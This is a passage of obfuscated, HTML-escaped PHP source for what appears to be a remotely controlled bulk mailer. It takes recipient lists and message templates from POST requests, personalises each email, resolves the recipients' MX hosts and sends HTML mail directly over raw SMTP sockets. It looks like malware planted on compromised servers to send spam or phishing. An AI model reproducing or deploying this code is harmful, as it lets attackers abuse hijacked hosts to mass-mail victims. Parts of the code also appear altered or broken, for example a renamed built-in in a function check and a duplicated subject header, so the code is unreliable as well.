function smtpCloseConnection($r76, &amp;amp;$emailDataList, $emailId, $flunj82, $mavcb77)&lt;br /&gt;
{&lt;br /&gt;
    if ($emailDataList[$emailId][&amp;quot;s_sock&amp;quot;] != FALSE) {&lt;br /&gt;
        close_connection($r76, $emailDataList[$emailId][&amp;quot;s_sock&amp;quot;]);&lt;br /&gt;
    }&lt;br /&gt;
    $emailDataList[$emailId][&amp;quot;l_err&amp;quot;]      = &amp;quot;[&amp;quot; . $emailDataList[$emailId][&amp;quot;s_step&amp;quot;] . &amp;quot;]&amp;quot; . trim(preg_replace(&amp;quot;/&lt;br /&gt;
/&amp;quot;, &amp;quot; &amp;quot;, $flunj82));&lt;br /&gt;
    $emailDataList[$emailId][&amp;quot;l_failsmtp&amp;quot;] = $mavcb77;&lt;br /&gt;
    $emailDataList[$emailId][&amp;quot;l_smtp_end&amp;quot;] = TRUE;&lt;br /&gt;
    return;&lt;br /&gt;
}&lt;br /&gt;
function processEmailSending($r76, &amp;amp;$emailDataList)&lt;br /&gt;
{&lt;br /&gt;
    $startTime = time();&lt;br /&gt;
    foreach ($emailDataList as $emailId =&amp;gt; $emailData) {&lt;br /&gt;
        if ($emailData[&amp;quot;l_smtp_end&amp;quot;] == TRUE) {&lt;br /&gt;
            continue;&lt;br /&gt;
        }&lt;br /&gt;
        if ($emailData[&amp;quot;s_time&amp;quot;] + 20 &amp;lt; $startTime) {&lt;br /&gt;
            if ($emailDataList[$emailId][&amp;quot;s_step&amp;quot;] == constant(&amp;quot;STEP_CONNECT&amp;quot;) &amp;amp;&amp;amp; $emailDataList[$emailId][&amp;quot;s_port&amp;quot;] != 587) {&lt;br /&gt;
                close_connection($r76, $emailDataList[$emailId][&amp;quot;s_sock&amp;quot;]);&lt;br /&gt;
                $emailDataList[$emailId][&amp;quot;s_port&amp;quot;] = 587;&lt;br /&gt;
                $emailDataList[$emailId][&amp;quot;s_time&amp;quot;] = time();&lt;br /&gt;
                continue;&lt;br /&gt;
            }&lt;br /&gt;
            smtpCloseConnection($r76, $emailDataList, $emailId, &amp;quot;timeout&amp;quot;, FALSE);&lt;br /&gt;
            continue;&lt;br /&gt;
        }&lt;br /&gt;
        switch ($emailDataList[$emailId][&amp;quot;s_step&amp;quot;]) {&lt;br /&gt;
            case constant(&amp;quot;STEP_CONNECT&amp;quot;):&lt;br /&gt;
                if ($emailDataList[$emailId][&amp;quot;s_mxaddr&amp;quot;] == FALSE) {&lt;br /&gt;
                    $emailDataList[$emailId][&amp;quot;s_mxaddr&amp;quot;] = @gethostbyname($emailDataList[$emailId][&amp;quot;s_mxhost&amp;quot;]);&lt;br /&gt;
                    if (!@preg_match(&amp;quot;/([0-9]{1,3}\.?){4}/&amp;quot;, $emailDataList[$emailId][&amp;quot;s_mxaddr&amp;quot;])) {&lt;br /&gt;
                        smtpCloseConnection($r76, $emailDataList, $emailId, &amp;quot;resolve mx&amp;quot;, FALSE);&lt;br /&gt;
                        break;&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                $errno                    = 0;&lt;br /&gt;
                $errstr                    = &#039;&#039;;&lt;br /&gt;
                $emailDataList[$emailId][&amp;quot;s_sock&amp;quot;] = socketFactory($r76, $emailDataList[$emailId][&amp;quot;s_sock&amp;quot;], constant(&amp;quot;SOCKET_PROTO_TCP&amp;quot;), $emailDataList[$emailId][&amp;quot;s_mxaddr&amp;quot;], $emailDataList[$emailId][&amp;quot;s_port&amp;quot;], 2, $errno, $errstr, TRUE);&lt;br /&gt;
                if ($emailDataList[$emailId][&amp;quot;s_sock&amp;quot;] == FALSE) {&lt;br /&gt;
                    break;&lt;br /&gt;
                }&lt;br /&gt;
                if ($errno == 0 || $errno === 56 || $errno === 10056) {&lt;br /&gt;
                    $emailDataList[$emailId][&amp;quot;s_step&amp;quot;] = constant(&amp;quot;STEP_CONNECTED&amp;quot;);&lt;br /&gt;
                    wdtjf68($r76, $emailDataList[$emailId][&amp;quot;s_sock&amp;quot;], 15);&lt;br /&gt;
                    $emailDataList[$emailId][&amp;quot;s_time&amp;quot;] = time();&lt;br /&gt;
                }&lt;br /&gt;
                break;&lt;br /&gt;
            case constant(&amp;quot;STEP_CONNECTED&amp;quot;):&lt;br /&gt;
                if (rxrmp70($r76, $emailDataList, $emailId)) {&lt;br /&gt;
                    $emailDataList[$emailId][&amp;quot;s_datain&amp;quot;]  = &amp;quot;&amp;quot;;&lt;br /&gt;
                    $emailDataList[$emailId][&amp;quot;s_dataout&amp;quot;] = &amp;quot;EHLO &amp;quot; . $emailDataList[$emailId][&amp;quot;g_domainfrom&amp;quot;] . &amp;quot;&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
                    $emailDataList[$emailId][&amp;quot;s_step&amp;quot;]    = constant(&amp;quot;STEP_EHLO&amp;quot;);&lt;br /&gt;
                    $emailDataList[$emailId][&amp;quot;s_time&amp;quot;]    = time();&lt;br /&gt;
                }&lt;br /&gt;
                break;&lt;br /&gt;
            case constant(&amp;quot;STEP_EHLO&amp;quot;):&lt;br /&gt;
                if (prcux47($r76, $emailDataList, $emailId)) {&lt;br /&gt;
                    if (rxrmp70($r76, $emailDataList, $emailId)) {&lt;br /&gt;
                        if (substr($emailDataList[$emailId][&amp;quot;s_datain&amp;quot;], 0, 3) != 250) {&lt;br /&gt;
                            smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId][&amp;quot;s_datain&amp;quot;], TRUE);&lt;br /&gt;
                            break;&lt;br /&gt;
                        }&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_datain&amp;quot;]  = &amp;quot;&amp;quot;;&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_dataout&amp;quot;] = &amp;quot;MAIL FROM:&amp;lt;&amp;quot; . $emailDataList[$emailId][&amp;quot;g_mailfrom&amp;quot;] . &amp;quot;&amp;gt;&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_step&amp;quot;]    = constant(&amp;quot;STEP_MAILFROM&amp;quot;);&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_time&amp;quot;]    = time();&lt;br /&gt;
                    }&lt;br /&gt;
                    break;&lt;br /&gt;
                }&lt;br /&gt;
                break;&lt;br /&gt;
            case constant(&amp;quot;STEP_MAILFROM&amp;quot;):&lt;br /&gt;
                if (prcux47($r76, $emailDataList, $emailId)) {&lt;br /&gt;
                    if (rxrmp70($r76, $emailDataList, $emailId)) {&lt;br /&gt;
                        if (substr($emailDataList[$emailId][&amp;quot;s_datain&amp;quot;], 0, 3) != 250) {&lt;br /&gt;
                            smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId][&amp;quot;s_datain&amp;quot;], TRUE);&lt;br /&gt;
                            break;&lt;br /&gt;
                        }&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_datain&amp;quot;]  = &amp;quot;&amp;quot;;&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_dataout&amp;quot;] = &amp;quot;RCPT TO:&amp;lt;&amp;quot; . $emailDataList[$emailId][&amp;quot;g_mailto&amp;quot;] . &amp;quot;&amp;gt;&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_step&amp;quot;]    = constant(&amp;quot;STEP_RCPTTO&amp;quot;);&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_time&amp;quot;]    = time();&lt;br /&gt;
                    }&lt;br /&gt;
                    break;&lt;br /&gt;
                }&lt;br /&gt;
                break;&lt;br /&gt;
            case constant(&amp;quot;STEP_RCPTTO&amp;quot;):&lt;br /&gt;
                if (prcux47($r76, $emailDataList, $emailId)) {&lt;br /&gt;
                    if (rxrmp70($r76, $emailDataList, $emailId)) {&lt;br /&gt;
                        if (substr($emailDataList[$emailId][&amp;quot;s_datain&amp;quot;], 0, 3) != 250 &amp;amp;&amp;amp; substr($emailDataList[$emailId][&amp;quot;s_datain&amp;quot;], 0, 3) != 251) {&lt;br /&gt;
                            smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId][&amp;quot;s_datain&amp;quot;], TRUE);&lt;br /&gt;
                            break;&lt;br /&gt;
                        }&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_datain&amp;quot;]  = &amp;quot;&amp;quot;;&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_dataout&amp;quot;] = &amp;quot;DATA&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_step&amp;quot;]    = constant(&amp;quot;STEP_DATA&amp;quot;);&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_time&amp;quot;]    = time();&lt;br /&gt;
                    }&lt;br /&gt;
                    break;&lt;br /&gt;
                }&lt;br /&gt;
                break;&lt;br /&gt;
            case constant(&amp;quot;STEP_DATA&amp;quot;):&lt;br /&gt;
                if (prcux47($r76, $emailDataList, $emailId)) {&lt;br /&gt;
                    if (rxrmp70($r76, $emailDataList, $emailId)) {&lt;br /&gt;
                        if (substr($emailDataList[$emailId][&amp;quot;s_datain&amp;quot;], 0, 3) != 354) {&lt;br /&gt;
                            smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId][&amp;quot;s_datain&amp;quot;], TRUE);&lt;br /&gt;
                            break;&lt;br /&gt;
                        }&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_datain&amp;quot;]  = &amp;quot;&amp;quot;;&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_dataout&amp;quot;] = $emailDataList[$emailId][&amp;quot;s_header&amp;quot;] . &amp;quot;&lt;br /&gt;
&amp;quot; . $emailDataList[$emailId][&amp;quot;g_body&amp;quot;] . &amp;quot;&lt;br /&gt;
.&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_step&amp;quot;]    = constant(&amp;quot;STEP_BODY&amp;quot;);&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_time&amp;quot;]    = time();&lt;br /&gt;
                    }&lt;br /&gt;
                    break;&lt;br /&gt;
                }&lt;br /&gt;
                break;&lt;br /&gt;
            case constant(&amp;quot;STEP_BODY&amp;quot;):&lt;br /&gt;
                if (prcux47($r76, $emailDataList, $emailId)) {&lt;br /&gt;
                    if (rxrmp70($r76, $emailDataList, $emailId)) {&lt;br /&gt;
                        if (substr($emailDataList[$emailId][&amp;quot;s_datain&amp;quot;], 0, 3) != 250) {&lt;br /&gt;
                            smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId][&amp;quot;s_datain&amp;quot;], TRUE);&lt;br /&gt;
                            break;&lt;br /&gt;
                        }&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_datain&amp;quot;]  = &amp;quot;&amp;quot;;&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_dataout&amp;quot;] = &amp;quot;QUIT&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_step&amp;quot;]    = constant(&amp;quot;STEP_QUIT&amp;quot;);&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;s_time&amp;quot;]    = time();&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;l_done&amp;quot;]    = TRUE;&lt;br /&gt;
                        $emailDataList[$emailId][&amp;quot;l_way&amp;quot;]     = 1;&lt;br /&gt;
                    }&lt;br /&gt;
                    break;&lt;br /&gt;
                }&lt;br /&gt;
                break;&lt;br /&gt;
            case constant(&amp;quot;STEP_QUIT&amp;quot;):&lt;br /&gt;
                if (prcux47($r76, $emailDataList, $emailId)) {&lt;br /&gt;
                    smtpCloseConnection($r76, $emailDataList, $emailId, &amp;quot;&amp;quot;, FALSE);&lt;br /&gt;
                }&lt;br /&gt;
                break;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
function rxrmp70($r76, &amp;amp;$emailDataList, $emailId)&lt;br /&gt;
{&lt;br /&gt;
    $errno = 0;&lt;br /&gt;
    $errstr = &amp;quot;&amp;quot;;&lt;br /&gt;
    if ($emailDataList[$emailId][&amp;quot;s_trig&amp;quot;] == FALSE) {&lt;br /&gt;
        if (strlen($emailDataList[$emailId][&amp;quot;s_datain&amp;quot;]) != 0) {&lt;br /&gt;
            return TRUE;&lt;br /&gt;
        }&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    $data = read_socket_data($r76, $emailDataList[$emailId][&amp;quot;s_sock&amp;quot;], 4086, $errno, $errstr);&lt;br /&gt;
    if ($data == FALSE || $data == &amp;quot;&amp;quot;) {&lt;br /&gt;
        if ($errno != 35 &amp;amp;&amp;amp; $errno != 10035 &amp;amp;&amp;amp; $errno != 11 &amp;amp;&amp;amp; $errno != 10060) {&lt;br /&gt;
            smtpCloseConnection($r76, $emailDataList, $emailId, $errstr, FALSE);&lt;br /&gt;
            return FALSE;&lt;br /&gt;
        }&lt;br /&gt;
        if (strlen($emailDataList[$emailId][&amp;quot;s_datain&amp;quot;]) != 0) {&lt;br /&gt;
            return TRUE;&lt;br /&gt;
        }&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    $emailDataList[$emailId][&amp;quot;s_datain&amp;quot;] = $data;&lt;br /&gt;
    return FALSE;&lt;br /&gt;
}&lt;br /&gt;
function prcux47($r76, &amp;amp;$emailDataList, $emailId)&lt;br /&gt;
{&lt;br /&gt;
    $errno = 0;&lt;br /&gt;
    $errstr = &amp;quot;&amp;quot;;&lt;br /&gt;
    if (strlen($emailDataList[$emailId][&amp;quot;s_dataout&amp;quot;]) == 0) {&lt;br /&gt;
        return TRUE;&lt;br /&gt;
    }&lt;br /&gt;
    $data = write_socket_data($r76, $emailDataList[$emailId][&amp;quot;s_sock&amp;quot;], $emailDataList[$emailId][&amp;quot;s_dataout&amp;quot;], $errno, $errstr);&lt;br /&gt;
    if ($data == FALSE) {&lt;br /&gt;
        if ($errno != 35 &amp;amp;&amp;amp; $errno != 10035 &amp;amp;&amp;amp; $errno != 11 &amp;amp;&amp;amp; $errno != 10060) {&lt;br /&gt;
            smtpCloseConnection($r76, $emailDataList, $emailId, $errstr, FALSE);&lt;br /&gt;
        }&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    $emailDataList[$emailId][&amp;quot;s_dataout&amp;quot;] = substr($emailDataList[$emailId][&amp;quot;s_dataout&amp;quot;], $data);&lt;br /&gt;
    if (strlen($emailDataList[$emailId][&amp;quot;s_dataout&amp;quot;]) == 0) {&lt;br /&gt;
        return TRUE;&lt;br /&gt;
    }&lt;br /&gt;
    return FALSE;&lt;br /&gt;
}&lt;br /&gt;
function hasOpenedSockets($r76, &amp;amp;$emailDataList)&lt;br /&gt;
{&lt;br /&gt;
    $socketData = FALSE;&lt;br /&gt;
    if (constant(&amp;quot;SOCKET_TYPE&amp;quot;) != constant(&amp;quot;SOCKET_TYPE_SOCKET&amp;quot;)) {&lt;br /&gt;
        foreach (array_keys($emailDataList) as $emailId) {&lt;br /&gt;
            if ($emailDataList[$emailId][&amp;quot;l_smtp_end&amp;quot;] != TRUE) {&lt;br /&gt;
                $emailDataList[$emailId][&amp;quot;s_trig&amp;quot;] = TRUE;&lt;br /&gt;
                $socketData                    = TRUE;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        return $socketData;&lt;br /&gt;
    }&lt;br /&gt;
    $fwcsz21 = array();&lt;br /&gt;
    foreach (array_keys($emailDataList) as $emailId) {&lt;br /&gt;
        if ($emailDataList[$emailId][&amp;quot;l_smtp_end&amp;quot;] != TRUE) {&lt;br /&gt;
            if ($emailDataList[$emailId][&amp;quot;s_sock&amp;quot;] == 0 || $emailDataList[$emailId][&amp;quot;s_step&amp;quot;] == constant(&amp;quot;STEP_CONNECT&amp;quot;)) {&lt;br /&gt;
                $emailDataList[$emailId][&amp;quot;s_trig&amp;quot;] = TRUE;&lt;br /&gt;
            } else {&lt;br /&gt;
                $emailDataList[$emailId][&amp;quot;s_trig&amp;quot;] = FALSE;&lt;br /&gt;
                $fwcsz21[]                  = $emailDataList[$emailId][&amp;quot;s_sock&amp;quot;];&lt;br /&gt;
            }&lt;br /&gt;
            $socketData = TRUE;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    if (count($fwcsz21) == 0) {&lt;br /&gt;
        return $socketData;&lt;br /&gt;
    }&lt;br /&gt;
	// watch for changes to all opened sockets and updates the email list of sockets accordinly.&lt;br /&gt;
    $zkvhr54 = @socket_select($fwcsz21, $kllzd89 = NULL, $ccvhx50 = NULL, 0);&lt;br /&gt;
    if ($zkvhr54 == FALSE || $zkvhr54 == 0) {&lt;br /&gt;
        return $socketData;&lt;br /&gt;
    }&lt;br /&gt;
    foreach (array_keys($emailDataList) as $emailId) {&lt;br /&gt;
        $emailDataList[$emailId][&amp;quot;s_trig&amp;quot;] = FALSE;&lt;br /&gt;
        foreach ($fwcsz21 as $xoloh2) {&lt;br /&gt;
            if ($emailDataList[$emailId][&amp;quot;s_sock&amp;quot;] == $xoloh2) {&lt;br /&gt;
                $emailDataList[$emailId][&amp;quot;s_trig&amp;quot;] = TRUE;&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $socketData;&lt;br /&gt;
}&lt;br /&gt;
function determine_socket_type($r76, $foo)&lt;br /&gt;
{&lt;br /&gt;
    if (function_exists(&amp;quot;socket_create&amp;quot;) &amp;amp;&amp;amp; function_exists(&amp;quot;socket_connect&amp;quot;) &amp;amp;&amp;amp; function_exists(&amp;quot;read_socket_data&amp;quot;) &amp;amp;&amp;amp; function_exists(&amp;quot;socket_write&amp;quot;)) {&lt;br /&gt;
        define(&amp;quot;SOCKET_TYPE&amp;quot;, constant(&amp;quot;SOCKET_TYPE_SOCKET&amp;quot;));&lt;br /&gt;
        return TRUE;&lt;br /&gt;
    }&lt;br /&gt;
    if (function_exists(&amp;quot;fsockopen&amp;quot;)) {&lt;br /&gt;
        define(&amp;quot;SOCKET_TYPE&amp;quot;, constant(&amp;quot;SOCKET_TYPE_FSOCKET&amp;quot;));&lt;br /&gt;
        return TRUE;&lt;br /&gt;
    }&lt;br /&gt;
    if (function_exists(&amp;quot;stream_socket_client&amp;quot;)) {&lt;br /&gt;
        define(&amp;quot;SOCKET_TYPE&amp;quot;, constant(&amp;quot;SOCKET_TYPE_STREAM&amp;quot;));&lt;br /&gt;
        return TRUE;&lt;br /&gt;
    }&lt;br /&gt;
    define(&amp;quot;SOCKET_TYPE&amp;quot;, constant(&amp;quot;SOCKET_TYPE_NO&amp;quot;));&lt;br /&gt;
    return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function populateEmailData($r76, $recipientData, $senderEmailData, &amp;amp;$emailData)&lt;br /&gt;
{&lt;br /&gt;
    $qivuk92 = array();&lt;br /&gt;
    if (FALSE === @preg_match(&amp;quot;/(.*?;)?(.*?;)?(.+@(.+)?);?/&amp;quot;, $recipientData, $qivuk92)) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    if (!isset($qivuk92) || count($qivuk92) != 5) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    $emailData[&amp;quot;g_namefirst&amp;quot;] = @ucfirst(str_replace(&amp;quot;;&amp;quot;, &amp;quot;&amp;quot;, $qivuk92[1]));&lt;br /&gt;
    $emailData[&amp;quot;g_namelast&amp;quot;]  = @ucfirst(str_replace(&amp;quot;;&amp;quot;, &amp;quot;&amp;quot;, $qivuk92[2]));&lt;br /&gt;
    $emailData[&amp;quot;g_mailto&amp;quot;]    = str_replace(&amp;quot;;&amp;quot;, &amp;quot;&amp;quot;, $qivuk92[3]);&lt;br /&gt;
    $emailData[&amp;quot;g_domainto&amp;quot;]  = str_replace(&amp;quot;;&amp;quot;, &amp;quot;&amp;quot;, $qivuk92[4]);&lt;br /&gt;
    if (!isset($emailData[&amp;quot;g_mailto&amp;quot;]) || $emailData[&amp;quot;g_mailto&amp;quot;] == &amp;quot;&amp;quot;) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    if (!isset($emailData[&amp;quot;g_domainto&amp;quot;]) || $emailData[&amp;quot;g_domainto&amp;quot;] == &amp;quot;&amp;quot;) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    if (isset($emailData[&amp;quot;g_namefirst&amp;quot;]) &amp;amp;&amp;amp; $emailData[&amp;quot;g_namefirst&amp;quot;] != &amp;quot;&amp;quot;) {&lt;br /&gt;
        $emailData[&amp;quot;g_mailto+&amp;quot;] = $emailData[&amp;quot;g_namefirst&amp;quot;] . &amp;quot; &amp;quot; . $emailData[&amp;quot;g_namelast&amp;quot;] . &amp;quot; &amp;lt;&amp;quot; . $emailData[&amp;quot;g_mailto&amp;quot;] . &amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
    } else {&lt;br /&gt;
        $emailData[&amp;quot;g_mailto+&amp;quot;] = $emailData[&amp;quot;g_mailto&amp;quot;];&lt;br /&gt;
    }&lt;br /&gt;
    $emailData[&amp;quot;g_domainfrom&amp;quot;] = $senderEmailData[&amp;quot;hostFrom&amp;quot;];&lt;br /&gt;
    if (preg_match(&amp;quot;/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/&amp;quot;, $senderEmailData[&amp;quot;hostFrom&amp;quot;]) || @ini_get(&amp;quot;safe_mode&amp;quot;)) {&lt;br /&gt;
        $emailData[&amp;quot;g_fff&amp;quot;] = FALSE;&lt;br /&gt;
    } else {&lt;br /&gt;
        $emailData[&amp;quot;g_fff&amp;quot;] = TRUE;&lt;br /&gt;
    }&lt;br /&gt;
    $emailData[&amp;quot;g_mailfrom&amp;quot;] = $senderEmailData[&amp;quot;fromLogin&amp;quot;] . &amp;quot;@&amp;quot; . $senderEmailData[&amp;quot;hostFrom&amp;quot;];&lt;br /&gt;
    if (isset($senderEmailData[&amp;quot;fromName&amp;quot;]) &amp;amp;&amp;amp; $senderEmailData[&amp;quot;fromName&amp;quot;] != &amp;quot;&amp;quot;) {&lt;br /&gt;
        $emailData[&amp;quot;g_mailfrom+&amp;quot;] = $senderEmailData[&amp;quot;fromName&amp;quot;] . &amp;quot; &amp;lt;&amp;quot; . $emailData[&amp;quot;g_mailfrom&amp;quot;] . &amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
    } else {&lt;br /&gt;
        $emailData[&amp;quot;g_mailfrom+&amp;quot;] = $emailData[&amp;quot;g_mailfrom&amp;quot;];&lt;br /&gt;
    }&lt;br /&gt;
    $emailData[&amp;quot;s_mxhost&amp;quot;]  = getMXHosts($r76, $emailData[&amp;quot;g_domainto&amp;quot;]);&lt;br /&gt;
    $emailData[&amp;quot;g_subject&amp;quot;] = @str_replace(&amp;quot;%R_NAME%&amp;quot;, $emailData[&amp;quot;g_namefirst&amp;quot;], $senderEmailData[&amp;quot;subjTempl&amp;quot;]);&lt;br /&gt;
    $emailData[&amp;quot;g_subject&amp;quot;] = @str_replace(&amp;quot;%R_LNAME%&amp;quot;, $emailData[&amp;quot;g_namelast&amp;quot;], $emailData[&amp;quot;g_subject&amp;quot;]);&lt;br /&gt;
    $emailData[&amp;quot;g_body&amp;quot;]    = @str_replace(&amp;quot;%R_NAME%&amp;quot;, $emailData[&amp;quot;g_namefirst&amp;quot;], $senderEmailData[&amp;quot;bodyTempl&amp;quot;]);&lt;br /&gt;
    $emailData[&amp;quot;g_body&amp;quot;]    = @str_replace(&amp;quot;%R_LNAME%&amp;quot;, $emailData[&amp;quot;g_namelast&amp;quot;], $emailData[&amp;quot;g_body&amp;quot;]);&lt;br /&gt;
    $emailData[&amp;quot;g_body&amp;quot;]    = @str_replace(&amp;quot;%MAIL_EN%&amp;quot;, encode_data($r76, $emailData[&amp;quot;g_mailto&amp;quot;]), $emailData[&amp;quot;g_body&amp;quot;]);&lt;br /&gt;
    $emailData[&amp;quot;g_header&amp;quot;]  = &amp;quot;X-Priority: 3 (Normal)&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
    $emailData[&amp;quot;g_header&amp;quot;] .= &amp;quot;MIME-Version: 1.0&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
    $emailData[&amp;quot;g_header&amp;quot;] .= &amp;quot;Content-Type: text/html;&lt;br /&gt;
charset=\&amp;quot;iso-8859-1\&amp;quot;&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
    $emailData[&amp;quot;g_header&amp;quot;] .= &amp;quot;Content-Transfer-Encoding: 8bit&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
    $emailData[&amp;quot;g_headerfrom&amp;quot;] = &amp;quot;From: &amp;quot; . $emailData[&amp;quot;g_mailfrom+&amp;quot;] . &amp;quot;&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
    $emailData[&amp;quot;g_headerfrom&amp;quot;] .= &amp;quot;Reply-To:&amp;quot; . $emailData[&amp;quot;g_mailfrom+&amp;quot;] . &amp;quot;&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
    $emailData[&amp;quot;s_header&amp;quot;] = &amp;quot;Date: &amp;quot; . @date(&amp;quot;D, j M Y G:i:s O&amp;quot;) . &amp;quot;&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
    $emailData[&amp;quot;s_header&amp;quot;] .= $emailData[&amp;quot;g_headerfrom&amp;quot;];&lt;br /&gt;
    $emailData[&amp;quot;s_header&amp;quot;] .= &amp;quot;Message-ID: &amp;lt;&amp;quot; . preg_replace(&amp;quot;/(.{7})(.{5})(.{2}).*/&amp;quot;, &amp;quot;$1-$2-$3&amp;quot;, md5(time())) . &amp;quot;@&amp;quot; . $senderEmailData[&amp;quot;hostFrom&amp;quot;] . &amp;quot;&amp;gt;&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
    $emailData[&amp;quot;s_header&amp;quot;] .= &amp;quot;To: &amp;quot; . $emailData[&amp;quot;g_mailto+&amp;quot;] . &amp;quot;&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
    $emailData[&amp;quot;s_header&amp;quot;] .= &amp;quot;Subject: &amp;quot; . $emailData[&amp;quot;g_subject&amp;quot;] . &amp;quot;&lt;br /&gt;
&amp;quot;;&lt;br /&gt;
    $emailData[&amp;quot;s_header&amp;quot;] .= $emailData[&amp;quot;g_subject&amp;quot;];&lt;br /&gt;
    return TRUE;&lt;br /&gt;
}&lt;br /&gt;
function getMXHosts($r76, $hostname)&lt;br /&gt;
{&lt;br /&gt;
    $mlopr36 = array();&lt;br /&gt;
    $vcnaa29 = array();&lt;br /&gt;
    if (function_exists(&amp;quot;getmxrr&amp;quot;)) {&lt;br /&gt;
        @getmxrr($hostname, $mlopr36, $vcnaa29);&lt;br /&gt;
    } else {&lt;br /&gt;
        if (constant(&amp;quot;SOCKET_TYPE&amp;quot;) == constant(&amp;quot;SOCKET_TYPE_NO&amp;quot;)) {&lt;br /&gt;
            return FALSE;&lt;br /&gt;
        }&lt;br /&gt;
        $zkvhr54 = resolveDnsName($r76, $hostname, constant(&amp;quot;DNS_TYPE_MX&amp;quot;));&lt;br /&gt;
        if ($zkvhr54 == FALSE || !isset($zkvhr54[&amp;quot;ans&amp;quot;])) {&lt;br /&gt;
            return FALSE;&lt;br /&gt;
        }&lt;br /&gt;
        foreach ($zkvhr54[&amp;quot;ans&amp;quot;] as $txows40) {&lt;br /&gt;
            if ($txows40[&amp;quot;type&amp;quot;] == constant(&amp;quot;DNS_TYPE_MX&amp;quot;)) {&lt;br /&gt;
                $mlopr36[] = $txows40[&amp;quot;data&amp;quot;];&lt;br /&gt;
                $vcnaa29[] = $txows40[&amp;quot;preference&amp;quot;];&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    if (count($mlopr36) == 0) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    $wtqra76 = array_keys($vcnaa29, min($vcnaa29));&lt;br /&gt;
    return $mlopr36[$wtqra76[0]];&lt;br /&gt;
}&lt;br /&gt;
function getDataFromPost($r76, &amp;amp;$senderEmailData)&lt;br /&gt;
{&lt;br /&gt;
    if (count($_POST) &amp;lt; 2) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
	&lt;br /&gt;
    $messageEncoded = false;&lt;br /&gt;
    $listPostKey = $dataPostKey = &amp;quot;&amp;quot;;&lt;br /&gt;
    foreach (array_keys($_POST) as $key) {&lt;br /&gt;
        if ($key[0] == &amp;quot;l&amp;quot;) {&lt;br /&gt;
            $listPostKey = $key;&lt;br /&gt;
        }&lt;br /&gt;
        if ($key[0] == &amp;quot;d&amp;quot;) {&lt;br /&gt;
            $dataPostKey = $key;&lt;br /&gt;
        }&lt;br /&gt;
        if ($key[0] == &amp;quot;e&amp;quot;) {&lt;br /&gt;
            $messageEncoded = true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    if ($listPostKey == &amp;quot;&amp;quot; || $dataPostKey == &amp;quot;&amp;quot;) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
    $postedRecipients = getPostData($r76, $listPostKey, $messageEncoded);&lt;br /&gt;
    $postedData = getPostData($r76, $dataPostKey, $messageEncoded);&lt;br /&gt;
    if ($postedRecipients == FALSE || $postedData == FALSE) {&lt;br /&gt;
        return FALSE;&lt;br /&gt;
    }&lt;br /&gt;
